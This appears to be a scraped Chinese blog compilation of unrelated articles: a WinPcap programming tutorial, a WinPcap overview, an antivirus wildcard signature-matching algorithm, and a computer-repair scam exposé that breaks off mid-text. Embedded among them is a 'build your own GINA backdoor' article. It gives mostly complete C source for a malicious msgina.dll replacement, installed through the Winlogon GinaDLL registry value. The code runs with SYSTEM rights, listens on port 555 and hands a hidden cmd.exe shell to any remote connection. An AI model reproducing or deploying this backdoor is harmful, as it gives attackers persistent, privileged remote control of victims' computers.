WinPcap 教程

原文出处:http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino
http://winpcap.polito.it
概述:
这 篇教程将会指引读者逐步了解WinPcap编程, 从简单的基础函数(获取网络接口列表, 捕捉数据包)到更高级的内容(处理发送队列, 网络流量统 计). 教程中包括一些代码片断, 以及一些简单但完整的例子, 读者可以参考这些例子更好的理解教程的内容. 这些例子全部用C语言写成, 所以基本的 C语言编程知识是必要. 同时, 因为这篇教程的内容是与底层网络紧密相连的, 所以笔者假设读者已经具备有关网络和协议的相关知识.
译者的话:
WinPcap 是一套免费的, 基于Windows的网络接口API, 它在底层网络操作方面对程序员很有帮助. 这篇文档翻译自 "WinPcap Documentation 3.0" 中的 "WinPcap tutorial: a step by step guide to program WinPcap" 一部分. 这篇教程对初学者的帮助很大, 尤其是简短清晰的例 子, 但这篇教程只是整个文档的一小部分, 我认为你仍然需要参考文档的其它部分来了解各种结构等信息. 教程中注有前缀 "Y-" 的部分是译者为了让 读者更明白作者的意思添加的, 原文中没有.
1. 获取网络接口列表
通常, 一个基于WinPcap的应用程序所要做的第一件 事, 就是获得适合的网络接口的列表. Libpcap中的pcap_findalldevs()函数就是干这活的: 这个函数然回一个pcap_if结 构的列表, 每个元素都记录了一个接口的信息. 其中, name和description以人类可以阅读的形式, 记录了设备的信息.
下面的源代码输出可用的网络接口的列表, 并且在没有找到任何借口的情况下输出错误信息:

代码  
#include "pcap.h"
main()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
/* 取得列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);
exit(1);
}
/* 输出列表 */
for(d=alldevs;d;d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)n", d->description);
else
/* Y- 没有有效的描述 */
printf(" (No description available)n");
}
if(i==0)
{
/* Y- 没有有效的接口, 可能是因为没有安装WinPcap */
printf("nNo interfaces found! Make sure WinPcap is installed.n");
return;
}
/* 我们不再需要列表了, 释放 */
pcap_freealldevs(alldevs);
}

我们来看看这段代码.
首 先, 和其他的libpcap函数一样, pcap_findalldevs(), 有一个错误缓冲区(errbuf)参数. 这个参数是一个字符串指 针, 一旦发生错误,libpcap将会在这里填入错误描述. 然后, 请注意, pcap_findalldev系统下的s()函数同时也被UNIX下 的libpcap所支持, 但是并不是所有的操作系统都支持“网络接口描述”(description)这一项. 所以, 如果我们想写一个可以移植的的 应用程序,那么我们必须要为描述为“空”(null)的情况做好准备:遇到这种情况我们就输出一个“没有有效的描述”的消息.
最后我们通过pcap_freealldevs()函数来释放接口列表.
现在让我们编译并运行我们的第一个WinPcap程序. 如果你使用UNIX或者Cgywin的话, 你只需要以下命令:
gcc -o testaprog testprog.c -lpcap
在Windows环境中(Y – 如果你使用Microsoft Visual C++), 你需要建立一个工程, 按照"Using WinPcap in your programs " 一节中说明来做.
不过, 我仍然建议你参照Winpcap开发者包(WinPcap developer’s pack)中的例子, 那些例子包括了所以配置完善的工程, 以及全部你所需要的库和包含文件.
(Y – 你可以在本章最后找到Microsoft Visual C++ 的配置方法)
假设现在你已经成功编译了程序, 我们就来运行它. 在我的WinXP工作站上, 输出结果是:
1. {4E273621-5161-46C8-895A-48D0E52A0B83} (Realtek RTL8029(AS) Ethernet Adapter)
2. {5D24AE04-C486-4A96-83FB-8B5EC6C7F430} (3Com EtherLink PCI)
就如你所看到的, 网络接口的名称(当打开这个接口时, 需要传递这个名称给libpcap库)在windows环境下几乎是没有办法读懂的(Y-严重同意), 所以输出一个描述对于你的用户来说是非常有帮助的.

附注: Microsoft Visual C++ 工程的设置
1. 下载并安装 WinPcap, 推荐的版本是3.0
2. 从 http://winpcap.polito.it 下载 WinPcap Developer’s Pack 并解压缩
3. 用 Microsoft Visual C++ 建立一个空工程 (empty project)
4. 复制源代码
5. 把 Winpcap Developer’s Pack 中的 Includes 目录添加为新的包含文件目录
6. 添加库 wpcap.lib 和 wsock32.lib
原文出处:http://winpcap.polito.it/docs/man/html/index.html
作者:
Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino
http://winpcap.polito.it
2. 获取设备的高级信息
上 一课我们介绍了如何获取一个设备的基本信息(比如设备名称和设备描述). 实际上, WinPcap 也可以为我们提供关于接口的更多信息. 由 pcap_findalldevs() 函数返回的 pcap_if 结构也包含了一个 pcap_addr 结构的列表, 它记录了以下信息:
1. 接口的地址列表
2. 接口的掩码列表 (与地址列表一一对应)
3. 接口的广播地址列表 (与地址列表一一对应)
4. 目标地址列表 (与地址列表一一对应)
下面例子中的 ifprint() 函数将会输出 pcap_if 结构的全部内容. 它包括了 pcap_findalldevs() 函数所返回的所有元素. ( Y- 全部有效接口)

代码  

/*
* Copyright (c) 1999 – 2002
* Politecnico di Torino. All rights reserved.

Read: 761

自己打造GinaBackDoor

前言
“马”玩了不少,不过玩得都是别人写的,总感觉不是很爽。何不自己打造一个属于自己BackDoor呢?!
既然是后门,当然是不能被轻易发现的,这是首要的一条。在WIN2K和XP下进程隐藏可以有DLL加载、远程注入等几种方式。我们今天采用虽然还是属于常见的DLL加载类型。不过这次是替换掉系统的核心DLL,如果强行删除的话……呵呵,下次启动就不正常了。
Socket:毒啊毒!比“独行者”还毒!

前置知识
首先来介绍下Gina在windows中的作用:WinNT、Win2K等在进入用户shell前都有一个身份验证的过程。这个过程就是由Gina完成 的,Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll,在系统目录system32下可以找到。微软除了提 供默认的Gina还允许自定义开发Gina以替换掉msgina.dll来实现自己的一些认证方式,这就为我们打造后门提供了条件!
要替换掉系统默认加载的msgina.dll很简单,只要编辑注册表在HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogon项下加入一个类型为REG_SZ,名为GinaDLL的键值,数据填写我们替换的GinaDLL的 名字就OK了。例如:
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]
"GinaDLL"="ginadll.dll"(ginadll.dll就是我们用来替换的Gina)。

在我们自己的DLL中只要邦定一个SHELL,其他的直接调用msgina.dll就行了。说直接一点就是安装 一个中间层,使其达到一个后门的目的。Gina是加载到winlogin进程中的,winlogin是系统的用户交互登陆进程,具有SYSTEM权限,理 所当然我们的后门也有SYSTEM权限,这对于后门来说是再好不过了。

实现过程
由于我们一共要替换15个Gina函数,全部写出来会相当大。这里就选几个重要部分做示范,其他的只需直接往下一层的msgina.dll调用就行了,详细请参考完整源代码。
typedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );
typedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );
typedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);
typedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );
typedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );
typedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );
typedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );
typedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );
typedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );
typedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );
typedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );
typedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );
typedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);

后门要用到的全局变量
//管道
HANDLE hStdOut = NULL, hSRead = NULL;
HANDLE hStdInput = NULL, hSWrite = NULL;

//用来控制线程是否结束返回
BOOL bExit = FALSE;

//保存创建的CMD进程语柄
HANDLE hProcess = NULL;

//Winlogon进程最先调用的函数,用来检查Gina支持的winlogin版本
BOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;

//取得msgina.dll中的WlxNegotiate函数入口
PFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, "WlxNegotiate" );
if( !pWlxNegotiate )
return FALSE;

//往下层调用
return pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );
}

//为一个特别的窗口站初始化一个GinaDLL
BOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,
PVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll, "WlxInitialize" );
if( !pWlxInitialize )
return FALSE;

//初始化windows socket的WS2_32.DLL
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
return FALSE;

//同上往下调用
return pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,
pWlxContext );
}

//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数
int WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,
PLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,
PHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,
PVOID *pProfile)
{
HINSTANCE hDll=NULL;
if( !(hDll = LoadLibrary( "msgina.dll" )) )
return FALSE;
PFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, "WlxLoggedOutSAS" );
if( !pWlxLoggedOutSAS )
return FALSE;
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);

//后门的主线程开始
CreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);

//调用下层的WlxLoggedOutSAS
int ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );
return ret;
}

//StartInit线程
DWORD WINAPI StartInit(PVOID lp)
{
SOCKET sock=NULL;

//建立一个TCP SOCKET
sock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr_in = {0};
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(555); //端口号,可以自己改
addr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);

//绑定到555端口
if(bind(sock,(sockaddr *)&addr_in,sizeof(sockaddr))==SOCKET_ERROR)
return 1;

//侦听
listen(sock,1);
sockaddr_in sin={0};
int size = sizeof(sin);
while ( TRUE )
{
//接受一个连接的请求返回一个SOCKET没有请求则一直阻塞
//在一个连接断开后又返回等待另外的连接
SOCKET recvSock=accept(sock,(sockaddr *)&sin,&size);
if ( recvSock == INVALID_SOCKET ) {
Sleep(1000);
continue;
}
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);
//创建后门
HANDLE hThread = CreateThread(NULL,NULL,BackDoor,&recvSock,0,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
//等待BackDoor线程结束。
WaitForSingleObject(hThread,INFINITE);
bExit = FALSE;
}
return 1;
}

//BackDoor线程
DWORD WINAPI BackDoor (LPVOID lp)
{

//用来设置管道可被子进程继承
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle =TRUE;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;

//创建管道
CreatePipe ( &hSRead, &hStdOut, &sa, 0 );
CreatePipe ( &hStdInput, &hSWrite, &sa, 0 );
STARTUPINFO StartInfor = {0};
PROCESS_INFORMATION ProInfor = {0};

//重定向子进程的标准输入输出,为我们刚刚建立好的管道
StartInfor.cb = sizeof ( STARTUPINFO );
StartInfor.wShowWindow = SW_HIDE;
StartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfor.hStdOutput = StartInfor.hStdError = hStdOut;
StartInfor.hStdInput = hStdInput;

//取得CMD的完整路径
TCHAR SysDir[MAX_PATH] = {0};
GetSystemDirectory(SysDir,MAX_PATH);
if ( SysDir[strlen(SysDir)-1] != ‘\’)
strcat(SysDir,"\");
strcat(SysDir,"cmd.exe");
HANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象
WaitForSingleObject(hmutex,INFINITE);

//创建CMD子进程
CreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,&StartInfor,&ProInfor);
hProcess = ProInfor.hProcess;

//由于我们不对CMD的出入输出进行操作所以我们可以关闭
CloseHandle(hStdOut);
CloseHandle(hStdInput);
HANDLE hArray[2] = {0};

//创建一个接收命令线程和一个返回结果的线程
hArray[0] = CreateThread (NULL,NULL,RecvThread,&sock,NULL,NULL);
hArray[1] = CreateThread (NULL,NULL,SendThread,&sock,NULL,NULL);
ReleaseMutex(hmutex);
CloseHandle(hmutex);

//等待2个线程的结束
WaitForMultipleObjects(2,hArray,TRUE,INFINITE);
closesocket(sock);
return 1;
}

//RecvThread 线程
DWORD WINAPI RecvThread ( LPVOID lp)
{
SOCKET sock = *(SOCKET*)lp;
TCHAR CmdBuf[512] = {0}; //接收命令的Buf
int num = 0;
while ( TRUE )
{
if ( bExit == TRUE )
return 1;
TCHAR Tbuf[2] = {0};
int ret = recv(sock, Tbuf, 1, 0); //接收一个字符
if ( ret == 1 )
{
num++; //接收的字符记数
strcat(CmdBuf,Tbuf); //追加到CmdBuf中
send(sock,Tbuf,1,0); //回显
if ( Tbuf[0] == ‘n’ ) //如接收到回车
{
TCHAR buf[5] = {0};
DWORD A=0;
//写到管道中供CMD的标准输入读取
WriteFile(hSWrite,CmdBuf,num,&A,NULL);
memcpy ( buf, CmdBuf, 4);
//如果是exit命令设置线程结束标志
int ret = _stricmp (buf,"exit");
if ( ret == 0 )
bExit = TRUE;
memset(CmdBuf,0,512);
num=0;
}
}
else
{
//如果连接中断终止CMD进程
bExit = TRUE;
DWORD A=0;
GetExitCodeProcess(hProcess,&A);
TerminateProcess(hProcess,A);
}
}
return 1;
}

//SendThread 线程
DWORD WINAPI SendThread ( LPVOID lp )
{
SOCKET sock = *(SOCKET*)lp;
TCHAR Buf[512]={0};
DWORD ReadSize = 0;
while(TRUE)
{
if ( bExit == TRUE ) //如果结束标志为真线程返回
return 1;
//查看管道是否有数据可读
PeekNamedPipe(hSRead,Buf,512,&ReadSize,NULL,NULL);
//有就读取 没有就Sleep0.1s再次检查
if ( ReadSize > 0 )
ReadFile(hSRead,Buf,512,&ReadSize,NULL);
else
{
Sleep(100);
continue;
}
//把从管道读出来的数据发给客户端.
send (sock,Buf,ReadSize,0);
memset(Buf,0,512);
}
return 1;

Read: 854

Winpcap简介

译自WinPcap Developer’s pack ,3.0 alpha。ps:traffic generators这个名词怎样译?今天上不了国外网,暂时还查不到资料。

capture series 是今后陆续要写的系列,包括翻译文档,自己的开发经验,以及去年发现并已修改的Jpcap里的一个大bug(伪首部及检验和)。

————————————————————————————-

Winpcap是一个免费公开的软件系统。它用于windows系统下的直接的网络编程。
大多数网络应用程序访问网络是通过广泛使用的套接字。这种方法很容易实现网络数据传输,因为操作系统负责底层的细节(比如协议栈,数据流组装等)以及提供了类似于文件读写的函数接口。

但是有时,简单的方法是不够的。因为一些应用程序需要一个底层环境去直接操纵网络通信。因此需要一个不需要协议栈支持的原始的访问网络的方法。

winpcap适用于下面的开发者:
1.捕获原始数据包。不管这个包是发往本地机,还是其他机器之间的交换包。
2.在数据包被发送到应用程序之前,通过用户定义的规则过滤。
3.向网络发送原始数据包。
4.对网络通信量做出统计。

这些功能依赖于Win32系统内核中的设备驱动以及一些动态链接库。

Winpcap提供了一个强大的编程接口,它很容易地在各个操作系统之间进行移植,也很方便程序员进行开发。

什么样的程序需要使用Winpcap
很多不同的工具软件使用Winpcap于网络分析,故障排除,网络安全监控等方面。Winpcap特别适用于下面这几个经典领域:
1。网络及协议分析
2。网络监控
3。通信日志记录
4。traffic generators
5。用户级别的桥路和路由
6。网络入侵检测系统(NIDS)
7。网络扫描
8。安全工具

Winpcap有些方面不能做。它不依靠主机的诸如TCP/IP协议去收发数据包。这意味着它不能阻塞,不能处理同一台主机中各程序之间的通信数据。它只能“嗅探”到物理线路上的数据报。因此它不适用于traffic shapers,QoS调度,以及个人防火墙。

Winpcap内部结构
Winpcap是一个Win32平台下用于抓包和分析的系统。包括一个内核级别的packet filter,一个底层的DLL(packet.dll)和一个高级的独立于系统的DLL(Wpcap.dll)500){this.resized=true;this.style.width=500;}">

1。 捕获系统要能得到网络上原始传输数据必须绕过协议栈。这就需要一个模快运行于操作系统内核,与网络设备驱动接口直接打交道。这一部分极端依赖系统,也被认 为是一种设备驱动。现有版本有Windows 85,98,ME,NT 4,2000,Xp。这些驱动提供一些如数据包的捕获与发送这些基本功能,还提供一些高级的可编程的过滤系统和监控引擎。过滤系统可以约束只捕获特定的数 据包(比如,只捕获特定主机发送的FTP报文)。监控引擎提供了一种强大但简单的使用机制去获得网络通信的统计荷载数据。
2。捕获系统要让用户程序使用内核提供的功能必须要有一个编程接口。Winpcap提供了两个不同的库:packet.dll 和wpcap.dll。
packet.dll提供一个底层的API,通过这个API可直接访问网络设备驱动,而独立于Microsoft OS.
wpcap.dll是一个高层的强大捕获程序库,与Unix下的libpcap兼容。它独立于下层的网络硬件和操作系统。

Read: 751

杀毒软件编程精华——特征码扫描技术

特征码扫描技术是反病毒技术中的常规武器,虽然特征码扫描技术有着一定的局限性,但是,改进的基于特征码扫描技术的广 谱特征串过滤技术却有着无比的优越性和广阔的应用前景。但是,无论是上面提到的哪种技术,最终都难以逃脱扫描算法的效率要求。而学过《数据结构》的读者应 该知道一种快速的字符串扫描算法叫做“模式匹配算法”,这种算法可以对字符串进行快速扫描。但是,深入进去就会发现,我们的特征码扫描算法中经常会用到通 配符,如:%和*(这里我令%匹配一个字符,*匹配32个字符),对于这样一些非常规的串,没有现成的算法可以引用。笔者在做防治木马技术的研究中,对常 规的模式匹配算法进行了改进,写出了如下的快速查找算法,暂且命名为“半回溯的模式匹配算法”,以与常规的“无回溯的模式匹配算法”区别。
这里,我之所以称之为“半回溯”,就是因为在对通配符进行匹配时要进行适当的回溯,以减少因为采用通配符所带来的过长推进,虽然这是一种带有回溯的算法, 但是实际上它的效率并不比“无回溯的模式匹配算法”低多少,其对算法的效率不能构成真正的威胁。这个算法比较抽象,如果没有基础的读者最好先回头看一下 《数据结构》的教材中的“无回溯的模式匹配算法”,会对您接下来对算法的理解产生很大的帮助。光说不练,不是好汉,下面我们就开始艰辛而又刺激的模式匹配 算法之旅。
对于“无回溯的模式匹配算法”,我不想做过多的说明,因为相关书籍上已经说得够明白了。下面,我们一起来看一下带通配符的半回溯的匹配算法(用%号匹配一个字符,用*匹配32个字符):
1.[初始化]
i=1; j=1;
counter1=0; counter2=0;
2.[利用next[i]反复进行比较,直到i等于m+1]
循环 当i<=m且j<=n时,反复执行
若(p[i]!=’*’且p[i]==t[j])
则i=i+1; j=j+1;
否则若p[i]==’%’
则 i=i+1; j=j+1; counter1=counter1+1;
否则若p[i]==’*’
则i=i+1; j=j+32; counter2=counter2+1;
否则若next[i]>0
则i=next[i] j=j – (counter1+counter2*32);counter1=0;counter2=0;
否则
i=1; j=j – (counter1+counter2*32);j++;counter1=0;counter2=0;
其中,counter1是用来统计%的个数,而counter2用来统计*的个数,其中m是子串的长度,n是被搜索串的长度。每次碰到子串中有%的时候就 自动将counter1加一,若是碰到counter2就自动将counter2加一。i用来指明子串的当前的比较的位置,而j用来指明被搜索串当前比较 的位置,如果一旦子串与被搜索串不能满足搜索条件,就要将被搜索串的比较位置进行回溯,以回到被通配符漏过的字符的个数,以便重新匹配。
这里,涉及到了与“无回溯的模式匹配算法”中相同的要使用的Next数组,其中,Next数组的计算方法如下:
1.[初始化]
j=0; i=1;
next[1]=0;
2.[反复比较计算next[i+1]
循环 当i<m时,反复执行
(1)[找出p1p2…pi中最大的相同的前缀和后缀,并将长度送j]
循环 当j>0且p[i]!=p[j] 且p[i]!=’%’且p[j]!=’%’时,反复执行
j=next[j]
(2)[计数器加1]
i=i+1; j=j+1;
(3)[计算next[i]]
若p[i]==p[j]或p[i]==’%’或p[j]==’%’
则next[i]=next[j];
否则next[i]=j;
Next数组的计算方法,与“无回溯匹配算法”稍有不同,因为%用来匹配一个字符,所以对于%的处理,可以看作比较的字符相等的情况来处理,而对*的比较,无论如何一个字符都不可能与一个32字符的字符串相等,所以对于*始终认为不相等。
这个算法的描述,无论我作何解释,读者总会感觉到有一些抽象,而难于真正理解。下面,笔者写了一个简单的程序,来对这个算法进行测试,希望对您会有所帮 助。这个程序是在VC6.0的控制台下运行的,非常简单,基本上就上将以上的算法翻译成了C++语言。源程序可以在附书光盘中找到,名称为“带通配符的无 回溯模式匹配算法源程序”。
在这个程序中,首先就是要建立一个子串和被搜索串,并确定算法中提到的m和n的值,如下所示。
//被搜索的串
char* t="nihaoaxishanchangshanchangaoyejiehhe*%dfisd%shanchashanchanghongioejw";
//子串
char* p="shanchang%*%hong";
//next数组中元素的个数等于子串的长度
int next[16];
int i,j;
//initialize variable
j=0;i=1;next[0]=0;
接下来,要计算next数组的值,对上面的算法进行翻译,得到如下代码。
//计算next数组的循环
while(i<16)
{
while(j>0&&p[i-1]!=p[j-1]&&p[i-1]!=’%’&&p[j-1]!=’%’)
j=next[j-1];
i++;
j++;
if(p[i-1]==p[j-1]||p[i-1]==’%’||p[j-1]==’%’)
next[i-1]=next[j-1];
else
next[i-1]=j;
}
有了至关重要的next数组之后,就要使用改进了的模式匹配算法,从被搜索串中搜索出子串,代码如下:
//模式匹配的循环
i=1;
j=1;
int counter1=0,counter2=0;
while(i<=16&&j<=69)
{
if(p[i-1]!=’*’&&p[i-1]==t[j-1])
{i++;j++;}
else if(p[i-1]==’%’)
{
i++;
j++;
counter1++;
}
else if (p[i-1]==’*’)
{
i++;
j+=32;
counter2++;
}
else if (next[i-1]>0)
{
i=next[i-1];
j-=(counter1+counter2*32);
counter1=0;
counter2=0;
}
else
{
i=1;
j-=(counter1+counter2*32);
j++;
counter1=0;
counter2=0;
}
//如果I等于17,说明对子串的搜索已经走到尽头,并搜索到了子串,跳出循环。
if(i==17) break;
}
如果您需要使用这个算法进行特征码的查找,可以直接将其中的计算next数组和模式匹配的部分进行移植。
到这里,基本上将要说的都说完了,可能您对这个算法还是有一些迷惑,如果您对其的正确性有疑问的话,可以使用上面的程序,对不同的子串和被搜索串进行操 作。另外,如果您对next数组不太了解,还是建议您找出教材来好好看一下。本算法的效率是比较高的,至于它的计算复杂度,我想在这里我就不能做过多的说 明了,有兴趣的读者,或者从事反病毒研究的读者,希望能对你们有一定的帮助,同时,如果有不对的地方,可以在黑防的论坛上面提一下,以期获得改进。
后记:对于一个真正的程序员来说,其任务决不应该仅仅只是机械地拖拖控件,动动鼠标。更重要的应该是编程开始前的软件的整体安排和设计,而相关算法设计也 应该是非常重要的一部分。对于一个扫描软件来说,其扫描算法的设计也定是其精华所在。本文专门对算法进行相关分析,希望能够对您有所启发。

Read: 953

掀开电脑维修的黑幕

电脑维修是一个很专业的行业,也正因为专业和普通人难以了解,因此存在着一些惊人的内幕和令人难以想象的行业灰色甚至是黑 色操作,当然,绝大多数维修业者都是勤恳专业遵纪守法的,但有极少数维修企业或者个人、作坊,他们的行为是我们不了解内情的局外人初看起来无法理解的。   计算机的主板和显卡,作为电子电路行业中的高精尖领域,其制造和维修的技能、设备和方法 专业性都很强,普通人不要说掌握,就算眼睁睁看到了,也未必能了解维修人员在干什么。大家可以拿电视、影碟机或者是音响内的电路板,去和电脑主板、显卡比 较一下,就会发现电脑的板卡要精密得多。  电脑板卡通常是4层板、6层板甚至是8层板,上 面的布线密密麻麻,大量体积极小的贴片元件和高集成度芯片占绝对主导地位,只有各个重要核心部件比如CPU、GPU的供电模块才会用到直立元件。一块典型 的主板在其30厘米*20厘米的表面上会有1000多个各种零件,而其中某些零件(比如集成显示核心的北桥芯片)一个零件就集成了几千万个晶体管!这些在 主板和显卡上面司空见惯的景象,在其他产品,比如家电产品和工业用嵌入式设备的电路板上是难以看到的。  我 上大学的时候还做过充电器,电路板都是自己画自己泡的,我记得上面还有个分立元件的桥式电路,跟现在的电脑板卡比起来真是笑掉大牙了。哈哈。这么说吧,电 脑的庞大规模和飞速发展造成了电脑板卡的高度专业化和复杂化,而这一点又造成了电脑零部件制造和维修的专业性和复杂性,从而在产业化的大潮中,为各种灰色 现象提供了温床。  [常见三种维修企业形式]
电脑维修企业一般分为三种类型

[厂商售后服务部门]第 一种是厂家或全国代理商自己开办的维修售后服务部,专门为自己的产品提供维修,不是自己的产品不接或者很少接,这通常都是大厂和很大的全国代理开设的。特 点是维修人员比较精通本职,但通常不是学识渊博的全能人才,维修点产品资料、备件都很齐备,保修期内产品占了工作量的大部分,因为维修人员大部分以工资为 主,所以黑暗现象少。这类维修点的问题一是一般都在很偏远的工业区,当然可以通过购买的经销 渠道去返修,但时间会比较长;二是超过保修期和不在保修范围内比如烧损、硬损的产品维修费比较贵。这是因为,有很多厂家对外的维修中心并不真正维修,只能 叫备件更换中心,主要的任务就是把有问题的配件换下来返回到真正板卡生产厂家去维修,他自身并没有维修设备,也没有芯片级的维修工程师,所以保修还好,只 要花钱修就会很贵,一个爆浆电容也敢收几千给换个主板。
[授权专业维修中心]
第 二种是大型的专门维修企业,这一类通常同时是某个或者某些厂家签约的特约维修中心,这些厂家自己不建对外售后服务部门,委托给专业企业来做,比如IBM笔 记本的维修通道蓝色快车。这类维修企业有很多特点跟第一类相似,比较正规,除了做厂家维修点外,同时也接其他产品,技术比较可靠,产品资料、备件都齐全, 缺点和第一类相同,只要花钱修就比较贵。
我家里的苹果ibook笔记本坏了送到特约维修中心,他们同时还做HP、Compaq等笔记本的维修,维 修人员跟我说我这个需要换主板,如果不在保修期内,换一块主板要将近七千元。我的天!我买这二手ibook还不到七千的一半呢!更奇怪的是维修人员告诉 我,修的话是免费,如果不修就要交85元的检测费,这是因为这类企业在修保修期内的产品虽然不从客户收费,但他们要从签约厂家收钱,如果客户不修,那他们 就没法从厂家收费了。

[个人维修商户]第 三种是散布在中关村内各个地方数量众多良莠不齐精华与糟粕并存的私人维修企业。这类企业通常都是在厂家或者特约维修做的时间长技术高的资深维修工程师,为 了多挣钱,自立门户出来创办的,因此公平的说虽然大型维修店都很专业,但技术最精湛水平最高的维修师傅往往在私人维修点。同时,私人维修点主要靠修水货和 过保、保外产品,它们的运营成本最低,操作方式最灵活(除非是黑心维修店,否则绝对不会为了一个电容换主板),维修价格最便宜,有的时候要比前两类低非常 多,这就是为什么私人维修点大江南北如火如荼这么红火的缘故。但是,因为私人维修点都是为了 挣钱,而且挣的都是专业基础差的最终用户的钱(相对而言,第二类企业主要利润来自签约厂家,而厂家是非常懂行的;至于第一类企业,则几乎没有利润需求), 所以各种不正规和丑恶现象也都会看到。当然,这并不是说前两类企业就没这方面的问题,只是出现机会少。

[变废为“宝”]

在中关村的中海等市场经常能看到卖废CPU、内存、硬盘等配件的柜台或个人,对,就是废件,是完全不能用的。比如一个坏的P4 CPU要卖到100多块钱,一个坏的主流容量的硬盘也要卖100元左右,其他坏显卡坏内存等等也各有其价格。谁会买废件呢?买了又有什么用呢?
可 是如果去这些柜台观察一天,就会发现这些废件,偏偏就有人买,这是为什么?当一个电脑用户的主机坏掉了,故障现象正好是黑屏,电脑根本点不亮,而急于修好 电脑的用户又在不知不觉中,把电脑搬到了一个无良的维修点,那么他就要当心了。很多黑屏故障都是因为接触不良或者是电源线、插座坏掉,更严重一些的是电脑 内的电源坏了(我们知道电源是比较便宜的配件),所有这些情况加起来占了黑屏现象的一大部分,而在这些情况下,电脑内部有价值的零部件都是完全没有问题 的,这样就使得维修点没钱可赚,正规来办只能收取一个手工费;这个时候黑心的维修点就会使出一招黑手(不妨叫做狸猫换太子),把电脑上值钱的好的配件取下 来,换上一些坏掉的,反正搬来的时候就黑屏。
维修人只要告诉用户说,您的电脑烧了,很多东西 都坏掉了,如果全修好要多少多少钱(一个高的吓人的数字)。如果用户修,就把用户电脑上的好零件再都换回去,用户搬回去的其实还是自己的电脑,但为了接触 不良甚至是插座、电源线故障付出了沉重的代价;不修,还给用户的时候表面上还是一台黑屏的电脑,但其实好的零件已经全到了维修点手里,用户搬回去的电脑里 都是废件就这么被坑了。对于笔记本用户,最危险的是液晶屏有可能会被无良维修点换掉,这比CPU内存什么被换更加可怕多了!那么给用户这些坏件哪儿来的 呢?你不能说把人家好件都拿走什么都不给装回去,那就漏了。现在大家知道为什么中海市场的坏件都有人买了吧。
[非常规手段]
